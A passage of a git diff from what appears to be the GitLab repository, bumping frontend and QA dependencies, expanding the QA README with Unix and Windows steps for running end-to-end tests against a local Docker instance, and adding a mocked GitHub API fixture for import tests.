- "jest:ci:minimal": "jest --config jest.config.js --ci --coverage --findRelatedTests $(cat $RSPEC_CHANGED_FILES_PATH) --passWithNoTests --testSequencer ./scripts/frontend/parallel_ci_sequencer.js",
+ "jest:ci:predictive": "jest --config jest.config.js --ci --coverage --findRelatedTests $(cat $RSPEC_CHANGED_FILES_PATH) $(cat $RSPEC_MATCHING_JS_FILES_PATH) --passWithNoTests --testSequencer ./scripts/frontend/parallel_ci_sequencer.js",
"jest:contract": "PACT_DO_NOT_TRACK=true jest --config jest.config.contract.js --runInBand",
"jest:integration": "jest --config jest.config.integration.js",
"lint:eslint": "node scripts/frontend/eslint.js",
@@ -52,50 +52,52 @@
"@babel/core": "^7.18.5",
"@babel/preset-env": "^7.18.2",
"@codesandbox/sandpack-client": "^1.2.2",
- "@cubejs-client/core": "^0.31.0",
+ "@cubejs-client/core": "^0.31.15",
+ "@cubejs-client/vue": "^0.31.19",
"@gitlab/at.js": "1.5.7",
"@gitlab/favicon-overlay": "2.0.0",
- "@gitlab/fonts": "^1.0.1",
- "@gitlab/svgs": "3.14.0",
- "@gitlab/ui": "52.6.0",
+ "@gitlab/fonts": "^1.1.0",
+ "@gitlab/svgs": "3.15.0",
+ "@gitlab/ui": "52.9.0",
"@gitlab/visual-review-tools": "1.7.3",
- "@gitlab/web-ide": "0.0.1-dev-20221217175648",
+ "@gitlab/web-ide": "0.0.1-dev-20230117122912",
"@rails/actioncable": "6.1.4-7",
"@rails/ujs": "6.1.4-7",
"@sourcegraph/code-host-integration": "0.0.84",
- "@tiptap/core": "^2.0.0-beta.182",
- "@tiptap/extension-blockquote": "^2.0.0-beta.29",
- "@tiptap/extension-bold": "^2.0.0-beta.28",
- "@tiptap/extension-bubble-menu": "^2.0.0-beta.61",
- "@tiptap/extension-bullet-list": "^2.0.0-beta.29",
- "@tiptap/extension-code": "^2.0.0-beta.28",
- "@tiptap/extension-code-block-lowlight": "2.0.0-beta.73",
- "@tiptap/extension-document": "^2.0.0-beta.17",
- "@tiptap/extension-dropcursor": "^2.0.0-beta.28",
- "@tiptap/extension-gapcursor": "^2.0.0-beta.38",
- "@tiptap/extension-hard-break": "^2.0.0-beta.33",
- "@tiptap/extension-heading": "^2.0.0-beta.29",
- "@tiptap/extension-highlight": "^2.0.0-beta.35",
- "@tiptap/extension-history": "^2.0.0-beta.25",
- "@tiptap/extension-horizontal-rule": "^2.0.0-beta.36",
- "@tiptap/extension-image": "^2.0.0-beta.30",
- "@tiptap/extension-italic": "^2.0.0-beta.28",
- "@tiptap/extension-link": "^2.0.0-beta.43",
- "@tiptap/extension-list-item": "^2.0.0-beta.23",
- "@tiptap/extension-ordered-list": "^2.0.0-beta.30",
- "@tiptap/extension-paragraph": "^2.0.0-beta.26",
- "@tiptap/extension-strike": "^2.0.0-beta.29",
- "@tiptap/extension-subscript": "^2.0.0-beta.13",
- "@tiptap/extension-superscript": "^2.0.0-beta.13",
- "@tiptap/extension-table": "^2.0.0-beta.54",
- "@tiptap/extension-table-cell": "^2.0.0-beta.23",
- "@tiptap/extension-table-header": "^2.0.0-beta.25",
- "@tiptap/extension-table-row": "^2.0.0-beta.22",
- "@tiptap/extension-task-item": "^2.0.0-beta.37",
- "@tiptap/extension-task-list": "^2.0.0-beta.29",
- "@tiptap/extension-text": "^2.0.0-beta.17",
- "@tiptap/suggestion": "^2.0.0-beta.96",
- "@tiptap/vue-2": "^2.0.0-beta.84",
+ "@tiptap/core": "^2.0.0-beta.202",
+ "@tiptap/extension-blockquote": "^2.0.0-beta.202",
+ "@tiptap/extension-bold": "^2.0.0-beta.202",
+ "@tiptap/extension-bubble-menu": "2.0.0-beta.200",
+ "@tiptap/extension-bullet-list": "^2.0.0-beta.202",
+ "@tiptap/extension-code": "^2.0.0-beta.202",
+ "@tiptap/extension-code-block": "^2.0.0-beta.202",
+ "@tiptap/extension-code-block-lowlight": "2.0.0-beta.202",
+ "@tiptap/extension-document": "^2.0.0-beta.202",
+ "@tiptap/extension-dropcursor": "^2.0.0-beta.202",
+ "@tiptap/extension-gapcursor": "^2.0.0-beta.202",
+ "@tiptap/extension-hard-break": "^2.0.0-beta.202",
+ "@tiptap/extension-heading": "^2.0.0-beta.202",
+ "@tiptap/extension-highlight": "^2.0.0-beta.209",
+ "@tiptap/extension-history": "^2.0.0-beta.202",
+ "@tiptap/extension-horizontal-rule": "^2.0.0-beta.202",
+ "@tiptap/extension-image": "^2.0.0-beta.202",
+ "@tiptap/extension-italic": "^2.0.0-beta.202",
+ "@tiptap/extension-link": "^2.0.0-beta.202",
+ "@tiptap/extension-list-item": "^2.0.0-beta.202",
+ "@tiptap/extension-ordered-list": "^2.0.0-beta.202",
+ "@tiptap/extension-paragraph": "^2.0.0-beta.202",
+ "@tiptap/extension-strike": "^2.0.0-beta.202",
+ "@tiptap/extension-subscript": "^2.0.0-beta.202",
+ "@tiptap/extension-superscript": "^2.0.0-beta.202",
+ "@tiptap/extension-table": "^2.0.0-beta.202",
+ "@tiptap/extension-table-cell": "^2.0.0-beta.202",
+ "@tiptap/extension-table-header": "^2.0.0-beta.202",
+ "@tiptap/extension-table-row": "^2.0.0-beta.202",
+ "@tiptap/extension-task-item": "^2.0.0-beta.202",
+ "@tiptap/extension-task-list": "^2.0.0-beta.202",
+ "@tiptap/extension-text": "^2.0.0-beta.202",
+ "@tiptap/suggestion": "^2.0.0-beta.202",
+ "@tiptap/vue-2": "2.0.0-beta.200",
"apollo-upload-client": "15.0.0",
"autosize": "^5.0.1",
"axios": "^0.24.0",
@@ -109,7 +111,7 @@
"codesandbox-api": "0.0.23",
"compression-webpack-plugin": "^5.0.2",
"copy-webpack-plugin": "^6.4.1",
- "core-js": "^3.26.1",
+ "core-js": "^3.27.1",
"cron-validator": "^1.1.1",
"cronstrue": "^1.122.0",
"cropper": "^2.3.0",
@@ -120,7 +122,7 @@
"dateformat": "^5.0.1",
"deckar01-task_list": "^2.3.1",
"diff": "^3.4.0",
- "dompurify": "^2.4.1",
+ "dompurify": "^2.4.3",
"dropzone": "^4.2.0",
"editorconfig": "^0.15.3",
"emoji-regex": "^10.0.0",
@@ -131,7 +133,7 @@
"fuzzaldrin-plus": "^0.6.0",
"graphql": "^15.7.2",
"graphql-tag": "^2.11.0",
- "gridstack": "^7.0.0",
+ "gridstack": "^7.1.2",
"highlight.js": "^11.5.1",
"immer": "^9.0.15",
"ipaddr.js": "^1.9.1",
@@ -164,7 +166,7 @@
"prosemirror-markdown": "1.9.1",
"prosemirror-model": "^1.18.1",
"prosemirror-state": "^1.4.1",
- "prosemirror-view": "^1.26.1",
+ "prosemirror-view": "^1.28.2",
"raphael": "^2.2.7",
"raw-loader": "^4.0.2",
"rehype-raw": "^6.1.1",
@@ -250,7 +252,7 @@
"nodemon": "^2.0.19",
"prettier": "2.2.1",
"prosemirror-schema-basic": "^1.2.0",
- "prosemirror-schema-list": "^1.2.0",
+ "prosemirror-schema-list": "^1.2.2",
"prosemirror-test-builder": "^1.1.0",
"purgecss": "^4.0.3",
"purgecss-from-html": "^4.0.3",
diff --git a/qa/Dockerfile b/qa/Dockerfile
index 71fc615ac13..8e79d0a7bad 100644
--- a/qa/Dockerfile
+++ b/qa/Dockerfile
@@ -1,7 +1,7 @@
ARG DOCKER_VERSION=20.10.14
ARG CHROME_VERSION=106
ARG QA_BUILD_TARGET=ee
-ARG RUBY_VERSION=2.7
+ARG RUBY_VERSION=3.0
FROM registry.gitlab.com/gitlab-org/gitlab-build-images/debian-bullseye-ruby-${RUBY_VERSION}:bundler-2.3-git-2.36-lfs-2.9-chrome-${CHROME_VERSION}-docker-${DOCKER_VERSION}-gcloud-383-kubectl-1.23 AS foss
LABEL maintainer="GitLab Quality Department <quality@gitlab.com>"
diff --git a/qa/Gemfile b/qa/Gemfile
index 224fced35dc..53dc071b766 100644
--- a/qa/Gemfile
+++ b/qa/Gemfile
@@ -2,7 +2,7 @@
source 'https://rubygems.org'
-gem 'gitlab-qa', '~> 8', '>= 8.14.0', require: 'gitlab/qa'
+gem 'gitlab-qa', '~> 8', '>= 8.15.1', require: 'gitlab/qa'
gem 'activesupport', '~> 6.1.4.7' # This should stay in sync with the root's Gemfile
gem 'allure-rspec', '~> 2.20.0'
gem 'capybara', '~> 3.38.0'
@@ -14,18 +14,18 @@ gem 'airborne', '~> 0.3.7', require: false # airborne is messing with rspec sand
gem 'rest-client', '~> 2.1.0'
gem 'rspec-retry', '~> 0.6.2', require: 'rspec/retry'
gem 'rspec_junit_formatter', '~> 0.6.0'
-gem 'faker', '~> 3.0'
+gem 'faker', '~> 3.1'
gem 'knapsack', '~> 4.0'
-gem 'parallel_tests', '~> 4.0'
+gem 'parallel_tests', '~> 4.1'
gem 'rotp', '~> 6.2.2'
gem 'parallel', '~> 1.22', '>= 1.22.1'
gem 'rainbow', '~> 3.1.1'
-gem 'rspec-parameterized', '~> 0.5.2'
+gem 'rspec-parameterized', '~> 1.0.0'
gem 'octokit', '~> 6.0.1'
gem "faraday-retry", "~> 2.0"
gem 'webdrivers', '~> 5.2'
gem 'zeitwerk', '~> 2.6', '>= 2.6.6'
-gem 'influxdb-client', '~> 2.8'
+gem 'influxdb-client', '~> 2.9'
gem 'terminal-table', '~> 3.0.2', require: false
gem 'slack-notifier', '~> 2.4', require: false
gem 'fog-google', '~> 1.19', require: false
@@ -38,7 +38,7 @@ gem 'chemlab', '~> 0.10'
gem 'chemlab-library-www-gitlab-com', '~> 0.1', '>= 0.1.1'
# dependencies for jenkins client
-gem 'nokogiri', '~> 1.13', '>= 1.13.10'
+gem 'nokogiri', '~> 1.14'
gem 'deprecation_toolkit', '~> 2.0.1', require: false
diff --git a/qa/Gemfile.lock b/qa/Gemfile.lock
index 243389e6e4a..577b641685a 100644
--- a/qa/Gemfile.lock
+++ b/qa/Gemfile.lock
@@ -25,7 +25,8 @@ GEM
rspec-expectations (~> 3.12)
uuid (>= 2.3, < 3)
ast (2.4.2)
- binding_ninja (0.2.3)
+ binding_of_caller (1.0.0)
+ debug_inspector (>= 0.0.1)
builder (3.2.4)
byebug (11.1.3)
capybara (3.38.0)
@@ -54,6 +55,7 @@ GEM
confiner (0.4.0)
gitlab (>= 4.17)
zeitwerk (>= 2.5, < 3)
+ debug_inspector (1.1.0)
declarative (0.0.20)
deprecation_toolkit (2.0.1)
activesupport (>= 5.2)
@@ -61,7 +63,7 @@ GEM
domain_name (0.5.20190701)
unf (>= 0.0.5, < 1.0.0)
excon (0.92.4)
- faker (3.0.0)
+ faker (3.1.0)
i18n (>= 1.8.11, < 2)
faraday (2.5.2)
faraday-net_http (>= 2.0, < 3.1)
@@ -100,7 +102,7 @@ GEM
gitlab (4.18.0)
httparty (~> 0.18)
terminal-table (>= 1.5.1)
- gitlab-qa (8.14.0)
+ gitlab-qa (8.15.1)
activesupport (~> 6.1)
gitlab (~> 4.18.0)
http (~> 5.0)
@@ -140,7 +142,7 @@ GEM
multi_json (~> 1.11)
os (>= 0.9, < 2.0)
signet (>= 0.16, < 2.a)
- http (5.1.0)
+ http (5.1.1)
addressable (~> 2.8)
http-cookie (~> 1.0)
http-form_data (~> 2.2)
@@ -173,12 +175,12 @@ GEM
mime-types-data (~> 3.2015)
mime-types-data (3.2022.0105)
mini_mime (1.1.0)
- mini_portile2 (2.8.0)
+ mini_portile2 (2.8.1)
minitest (5.16.3)
multi_json (1.15.0)
multi_xml (0.6.0)
netrc (0.11.0)
- nokogiri (1.13.10)
+ nokogiri (1.14.0)
mini_portile2 (~> 2.8.0)
racc (~> 1.4)
octokit (6.0.1)
@@ -187,9 +189,9 @@ GEM
oj (3.13.23)
os (1.1.4)
parallel (1.22.1)
- parallel_tests (4.0.0)
+ parallel_tests (4.1.0)
parallel
- parser (3.1.2.1)
+ parser (3.1.3.0)
ast (~> 2.4.1)
proc_to_ast (0.1.0)
coderay
@@ -202,7 +204,7 @@ GEM
byebug (~> 11.0)
pry (>= 0.13, < 0.15)
public_suffix (5.0.0)
- racc (1.6.1)
+ racc (1.6.2)
rack (2.2.3.1)
rack-test (1.1.0)
rack (>= 1.0, < 3)
@@ -234,12 +236,17 @@ GEM
rspec-mocks (3.12.0)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.12.0)
- rspec-parameterized (0.5.2)
- binding_ninja (>= 0.2.3)
+ rspec-parameterized (1.0.0)
+ rspec-parameterized-core (< 2)
+ rspec-parameterized-table_syntax (< 2)
+ rspec-parameterized-core (1.0.0)
parser
proc_to_ast
rspec (>= 2.13, < 4)
unparser
+ rspec-parameterized-table_syntax (1.0.0)
+ binding_of_caller
+ rspec-parameterized-core (< 2)
rspec-retry (0.6.2)
rspec-core (> 3.3)
rspec-support (3.12.0)
@@ -306,24 +313,24 @@ DEPENDENCIES
chemlab-library-www-gitlab-com (~> 0.1, >= 0.1.1)
confiner (~> 0.4)
deprecation_toolkit (~> 2.0.1)
- faker (~> 3.0)
+ faker (~> 3.1)
faraday-retry (~> 2.0)
fog-core (= 2.1.0)
fog-google (~> 1.19)
- gitlab-qa (~> 8, >= 8.14.0)
- influxdb-client (~> 2.8)
+ gitlab-qa (~> 8, >= 8.15.1)
+ influxdb-client (~> 2.9)
knapsack (~> 4.0)
- nokogiri (~> 1.13, >= 1.13.10)
+ nokogiri (~> 1.14)
octokit (~> 6.0.1)
parallel (~> 1.22, >= 1.22.1)
- parallel_tests (~> 4.0)
+ parallel_tests (~> 4.1)
pry-byebug (~> 3.10.1)
rainbow (~> 3.1.1)
rake (~> 13, >= 13.0.6)
rest-client (~> 2.1.0)
rotp (~> 6.2.2)
rspec (~> 3.12)
- rspec-parameterized (~> 0.5.2)
+ rspec-parameterized (~> 1.0.0)
rspec-retry (~> 0.6.2)
rspec_junit_formatter (~> 0.6.0)
ruby-debug-ide (~> 0.7.3)
diff --git a/qa/README.md b/qa/README.md
index 4e2d688aa54..e6520867642 100644
--- a/qa/README.md
+++ b/qa/README.md
@@ -90,7 +90,13 @@ bundle exec bin/qa Test::Instance::All {GDK IP ADDRESS}
#### Run the end-to-end tests on GitLab in Docker
-1. [GitLab can be installed in Docker](https://docs.gitlab.com/ee/install/docker.html). You can use the following command to start an instance that you can visit at `http://127.0.0.1`:
+GitLab can be [installed in Docker](https://docs.gitlab.com/ee/install/docker.html).
+
+See the section above for situations that might require adjustment to the commands below or to the configuration of the GitLab instance. [You can find more information in the documentation](https://docs.gitlab.com/ee/install/docker.html).
+
+##### On a Unix like operating system
+
+1. Use the following command to start an instance that you can visit at `http://127.0.0.1`:
```
docker run \
@@ -102,28 +108,53 @@ bundle exec bin/qa Test::Instance::All {GDK IP ADDRESS}
gitlab/gitlab-ee:nightly
```
- Notes:
- - If you are on a Mac with [Apple Silicon](https://support.apple.com/en-us/HT211814), you will also need to add: `--platform=linux/amd64`
- - If you are on Windows, please be aware that [Docker Desktop must be set to use Linux containers](https://learn.microsoft.com/en-us/virtualization/windowscontainers/quick-start/quick-start-windows-10-linux#run-your-first-linux-container).
+ Note: If you are on a Mac with [Apple Silicon](https://support.apple.com/en-us/HT211814), you will also need to add: `--platform=linux/amd64`
-
-2. Navigate to the QA folder and run the following commands.
+2. Once GitLab is up and accessible on `http://127.0.0.1`, in another shell tab, navigate to the `qa` directory of the checkout of the GitLab repository on your computer and run the following commands.
```bash
- cd gitlab/qa
bundle install
export WEBDRIVER_HEADLESS=false
export GITLAB_INITIAL_ROOT_PASSWORD=5iveL\!fe
export QA_GITLAB_URL="http://127.0.0.1"
```
-3. Most tests that do not require special setup could then be run with the following command.
+3. Most tests that do not require special setup could then be run with the following command. We will run `log_in_spec.rb` in this example.
```bash
- bundle exec rspec <path/to/spec.rb>
+ bundle exec rspec ./qa/specs/features/browser_ui/1_manage/login/log_in_spec.rb
```
-- Note: See the section above for situations that might require adjustment to the commands or to the configuration of the GitLab instance. [You can find more information in the documentation](https://docs.gitlab.com/ee/install/docker.html).
+##### On a Windows PC
+
+1. If you don't already have these, install:
+ * [Google Chrome](https://www.google.com/chrome/)
+ * [Docker Desktop](https://docs.docker.com/desktop/install/windows-install/)
+ * [Git](https://git-scm.com/download/win)
+ * [Ruby](https://rubyinstaller.org/downloads/). Please refer to the [`.ruby-version` file](../.ruby-version) for the exact version of Ruby to install.
+
+ Note: Please be aware that [Docker Desktop must be set to use Linux containers](https://learn.microsoft.com/en-us/virtualization/windowscontainers/quick-start/quick-start-windows-10-linux#run-your-first-linux-container).
+
+2. Use the following command to start an instance that you can visit at `http://127.0.0.1`. You might need to grant admin rights if asked:
+
+ ```
+ docker run --hostname 127.0.0.1 --publish 80:80 --publish 22:22 --name gitlab --shm-size 256m --env GITLAB_OMNIBUS_CONFIG="gitlab_rails['initial_root_password']='5iveL\!fe';" gitlab/gitlab-ee:nightly
+ ```
+
+3. Once GitLab is up and accessible on `http://127.0.0.1`, in another command prompt window, navigate to the `qa` directory of the checkout of the GitLab repository on your computer and run the following commands.
+
+ ```bash
+ bundle install
+ set WEBDRIVER_HEADLESS=false
+ set GITLAB_INITIAL_ROOT_PASSWORD=5iveL\!fe
+ set QA_GITLAB_URL=http://127.0.0.1
+ ```
+
+4. Most tests that do not require special setup could then be run with the following command. We will run `log_in_spec.rb` in this example.
+
+ ```bash
+ bundle exec rspec .\qa\specs\features\browser_ui\1_manage\login\log_in_spec.rb
+ ```
#### Running EE tests
diff --git a/qa/lib/gitlab/page/group/settings/usage_quotas.rb b/qa/lib/gitlab/page/group/settings/usage_quotas.rb
index 04aa1b779ce..62f55aea2cc 100644
--- a/qa/lib/gitlab/page/group/settings/usage_quotas.rb
+++ b/qa/lib/gitlab/page/group/settings/usage_quotas.rb
@@ -75,6 +75,12 @@ module Gitlab
purchased_usage_total.to_f
end
end
+
+ def additional_ci_minutes_added?
+ # When opening the Usage quotas page, Seats quota tab is opened briefly even when url is to a different tab
+ ::QA::Support::WaitForRequests.wait_for_requests
+ additional_ci_minutes?
+ end
end
end
end
diff --git a/qa/qa/fixtures/mocks/import/github.yml b/qa/qa/fixtures/mocks/import/github.yml
new file mode 100644
index 00000000000..9cabdee1025
--- /dev/null
+++ b/qa/qa/fixtures/mocks/import/github.yml
@@ -0,0 +1,2743 @@
+# Proxy mock definition, useful for recording all interaction with github
+#
+# - request:
+# method: "GET"
+# headers:
+# Host: "api.github.com"
+# proxy:
+# host: "https://api.github.com"
+# follow_redirect: true
+# keep_host: true
+
+- request:
+ path: /rate_limit
+ method: GET
+ headers:
+ Host: api.github.com
+ response:
+ status: 200
+ headers:
+ Content-Type: application/json; charset=utf-8
+ X-Ratelimit-Limit: '5000'
+ X-Ratelimit-Remaining: '5000'
+ body: |
+ {
+ "rate": {
+ "limit": 5000,
+ "remaining": 5000,
+ "reset": 1988388445,
+ "used": 0
+ },
+ "resources": {
+ "actions_runner_registration": {
+ "limit": 10000,
+ "remaining": 10000,
+ "reset": 1988388445,
+ "used": 0
+ },
+ "code_scanning_upload": {
+ "limit": 1000,
+ "remaining": 1000,
+ "reset": 1988388445,
+ "used": 0
+ },
+ "core": {
+ "limit": 5000,
+ "remaining": 5000,
+ "reset": 1988388445,
+ "used": 0
+ },
+ "dependency_snapshots": {
+ "limit": 100,
+ "remaining": 100,
+ "reset": 1988388445,
+ "used": 0
+ },
+ "graphql": {
+ "limit": 5000,
+ "remaining": 5000,
+ "reset": 1988388445,
+ "used": 0
+ },
+ "integration_manifest": {
+ "limit": 5000,
+ "remaining": 5000,
+ "reset": 1988388445,
+ "used": 0
+ },
+ "scim": {
+ "limit": 15000,
+ "remaining": 15000,
+ "reset": 1988388445,
+ "used": 0
+ },
+ "search": {
+ "limit": 30,
+ "remaining": 30,
+ "reset": 1988388445,
+ "used": 0
+ },
+ "source_import": {
+ "limit": 100,
+ "remaining": 100,
+ "reset": 1988388445,
+ "used": 0
+ }
+ }
+ }
+
+- request:
+ path: /user/repos
+ method: GET
+ headers:
+ Host: api.github.com
+ response:
+ status: 200
+ headers:
+ Content-Type: application/json; charset=utf-8
+ X-Ratelimit-Limit: '5000'
+ X-Ratelimit-Remaining: '5000'
+ body: |
+ [
+ {
+ "allow_forking": true,
+ "archive_url": "https://api.github.com/repos/gitlab-qa-github/import-test/{archive_format}{/ref}",
+ "archived": false,
+ "assignees_url": "https://api.github.com/repos/gitlab-qa-github/import-test/assignees{/user}",
+ "blobs_url": "https://api.github.com/repos/gitlab-qa-github/import-test/git/blobs{/sha}",
+ "branches_url": "https://api.github.com/repos/gitlab-qa-github/import-test/branches{/branch}",
+ "clone_url": "https://github.com/gitlab-qa-github/import-test.git",
+ "collaborators_url": "https://api.github.com/repos/gitlab-qa-github/import-test/collaborators{/collaborator}",
+ "comments_url": "https://api.github.com/repos/gitlab-qa-github/import-test/comments{/number}",
+ "commits_url": "https://api.github.com/repos/gitlab-qa-github/import-test/commits{/sha}",
+ "compare_url": "https://api.github.com/repos/gitlab-qa-github/import-test/compare/{base}...{head}",
+ "contents_url": "https://api.github.com/repos/gitlab-qa-github/import-test/contents/{+path}",
+ "contributors_url": "https://api.github.com/repos/gitlab-qa-github/import-test/contributors",
+ "created_at": "2022-03-07T07:53:43Z",
+ "default_branch": "main",
+ "deployments_url": "https://api.github.com/repos/gitlab-qa-github/import-test/deployments",
+ "description": "Project for github import test",
+ "disabled": false,
+ "downloads_url": "https://api.github.com/repos/gitlab-qa-github/import-test/downloads",
+ "events_url": "https://api.github.com/repos/gitlab-qa-github/import-test/events",
+ "fork": false,
+ "forks": 0,
+ "forks_count": 0,
+ "forks_url": "https://api.github.com/repos/gitlab-qa-github/import-test/forks",
+ "full_name": "gitlab-qa-github/import-test",
+ "git_commits_url": "https://api.github.com/repos/gitlab-qa-github/import-test/git/commits{/sha}",
+ "git_refs_url": "https://api.github.com/repos/gitlab-qa-github/import-test/git/refs{/sha}",
+ "git_tags_url": "https://api.github.com/repos/gitlab-qa-github/import-test/git/tags{/sha}",
+ "git_url": "git://github.com/gitlab-qa-github/import-test.git",
+ "has_discussions": false,
+ "has_downloads": true,
+ "has_issues": true,
+ "has_pages": false,
+ "has_projects": true,
+ "has_wiki": true,
+ "homepage": null,
+ "hooks_url": "https://api.github.com/repos/gitlab-qa-github/import-test/hooks",
+ "html_url": "https://github.com/gitlab-qa-github/import-test",
+ "id": 466994992,
+ "is_template": false,
+ "issue_comment_url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/comments{/number}",
+ "issue_events_url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/events{/number}",
+ "issues_url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues{/number}",
+ "keys_url": "https://api.github.com/repos/gitlab-qa-github/import-test/keys{/key_id}",
+ "labels_url": "https://api.github.com/repos/gitlab-qa-github/import-test/labels{/name}",
+ "language": null,
+ "languages_url": "https://api.github.com/repos/gitlab-qa-github/import-test/languages",
+ "license": {
+ "key": "mit",
+ "name": "MIT License",
+ "node_id": "MDc6TGljZW5zZTEz",
+ "spdx_id": "MIT",
+ "url": "https://api.github.com/licenses/mit"
+ },
+ "merges_url": "https://api.github.com/repos/gitlab-qa-github/import-test/merges",
+ "milestones_url": "https://api.github.com/repos/gitlab-qa-github/import-test/milestones{/number}",
+ "mirror_url": null,
+ "name": "import-test",
+ "node_id": "R_kgDOG9XHMA",
+ "notifications_url": "https://api.github.com/repos/gitlab-qa-github/import-test/notifications{?since,all,participating}",
+ "open_issues": 2,
+ "open_issues_count": 2,
+ "owner": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ },
+ "permissions": {
+ "admin": true,
+ "maintain": true,
+ "pull": true,
+ "push": true,
+ "triage": true
+ },
+ "private": false,
+ "pulls_url": "https://api.github.com/repos/gitlab-qa-github/import-test/pulls{/number}",
+ "pushed_at": "2022-10-24T08:06:37Z",
+ "releases_url": "https://api.github.com/repos/gitlab-qa-github/import-test/releases{/id}",
+ "size": 4,
+ "ssh_url": "git@github.com:gitlab-qa-github/import-test.git",
+ "stargazers_count": 0,
+ "stargazers_url": "https://api.github.com/repos/gitlab-qa-github/import-test/stargazers",
+ "statuses_url": "https://api.github.com/repos/gitlab-qa-github/import-test/statuses/{sha}",
+ "subscribers_url": "https://api.github.com/repos/gitlab-qa-github/import-test/subscribers",
+ "subscription_url": "https://api.github.com/repos/gitlab-qa-github/import-test/subscription",
+ "svn_url": "https://github.com/gitlab-qa-github/import-test",
+ "tags_url": "https://api.github.com/repos/gitlab-qa-github/import-test/tags",
+ "teams_url": "https://api.github.com/repos/gitlab-qa-github/import-test/teams",
+ "topics": [],
+ "trees_url": "https://api.github.com/repos/gitlab-qa-github/import-test/git/trees{/sha}",
+ "updated_at": "2022-07-07T10:11:28Z",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test",
+ "visibility": "public",
+ "watchers": 0,
+ "watchers_count": 0,
+ "web_commit_signoff_required": false
+ }
+ ]
+
+- request:
+ path:
+ matcher: ShouldMatch
+ value: (\/repositories\/466994992$|\/repos\/gitlab-qa-github\/import-test$)
+ method: GET
+ headers:
+ Host: api.github.com
+ response:
+ status: 200
+ headers:
+ Content-Type: application/json; charset=utf-8
+ X-Ratelimit-Limit: '5000'
+ X-Ratelimit-Remaining: '5000'
+ body: |
+ {
+ "allow_forking": true,
+ "archive_url": "https://api.github.com/repos/gitlab-qa-github/import-test/{archive_format}{/ref}",
+ "archived": false,
+ "assignees_url": "https://api.github.com/repos/gitlab-qa-github/import-test/assignees{/user}",
+ "blobs_url": "https://api.github.com/repos/gitlab-qa-github/import-test/git/blobs{/sha}",
+ "branches_url": "https://api.github.com/repos/gitlab-qa-github/import-test/branches{/branch}",
+ "clone_url": "https://github.com/gitlab-qa-github/import-test.git",
+ "collaborators_url": "https://api.github.com/repos/gitlab-qa-github/import-test/collaborators{/collaborator}",
+ "comments_url": "https://api.github.com/repos/gitlab-qa-github/import-test/comments{/number}",
+ "commits_url": "https://api.github.com/repos/gitlab-qa-github/import-test/commits{/sha}",
+ "compare_url": "https://api.github.com/repos/gitlab-qa-github/import-test/compare/{base}...{head}",
+ "contents_url": "https://api.github.com/repos/gitlab-qa-github/import-test/contents/{+path}",
+ "contributors_url": "https://api.github.com/repos/gitlab-qa-github/import-test/contributors",
+ "created_at": "2022-03-07T07:53:43Z",
+ "default_branch": "main",
+ "deployments_url": "https://api.github.com/repos/gitlab-qa-github/import-test/deployments",
+ "description": "Project for github import test",
+ "disabled": false,
+ "downloads_url": "https://api.github.com/repos/gitlab-qa-github/import-test/downloads",
+ "events_url": "https://api.github.com/repos/gitlab-qa-github/import-test/events",
+ "fork": false,
+ "forks": 0,
+ "forks_count": 0,
+ "forks_url": "https://api.github.com/repos/gitlab-qa-github/import-test/forks",
+ "full_name": "gitlab-qa-github/import-test",
+ "git_commits_url": "https://api.github.com/repos/gitlab-qa-github/import-test/git/commits{/sha}",
+ "git_refs_url": "https://api.github.com/repos/gitlab-qa-github/import-test/git/refs{/sha}",
+ "git_tags_url": "https://api.github.com/repos/gitlab-qa-github/import-test/git/tags{/sha}",
+ "git_url": "git://github.com/gitlab-qa-github/import-test.git",
+ "has_discussions": false,
+ "has_downloads": true,
+ "has_issues": true,
+ "has_pages": false,
+ "has_projects": true,
+ "has_wiki": true,
+ "homepage": null,
+ "hooks_url": "https://api.github.com/repos/gitlab-qa-github/import-test/hooks",
+ "html_url": "https://github.com/gitlab-qa-github/import-test",
+ "id": 466994992,
+ "is_template": false,
+ "issue_comment_url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/comments{/number}",
+ "issue_events_url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/events{/number}",
+ "issues_url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues{/number}",
+ "keys_url": "https://api.github.com/repos/gitlab-qa-github/import-test/keys{/key_id}",
+ "labels_url": "https://api.github.com/repos/gitlab-qa-github/import-test/labels{/name}",
+ "language": null,
+ "languages_url": "https://api.github.com/repos/gitlab-qa-github/import-test/languages",
+ "license": {
+ "key": "mit",
+ "name": "MIT License",
+ "node_id": "MDc6TGljZW5zZTEz",
+ "spdx_id": "MIT",
+ "url": "https://api.github.com/licenses/mit"
+ },
+ "merges_url": "https://api.github.com/repos/gitlab-qa-github/import-test/merges",
+ "milestones_url": "https://api.github.com/repos/gitlab-qa-github/import-test/milestones{/number}",
+ "mirror_url": null,
+ "name": "import-test",
+ "network_count": 0,
+ "node_id": "R_kgDOG9XHMA",
+ "notifications_url": "https://api.github.com/repos/gitlab-qa-github/import-test/notifications{?since,all,participating}",
+ "open_issues": 2,
+ "open_issues_count": 2,
+ "owner": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
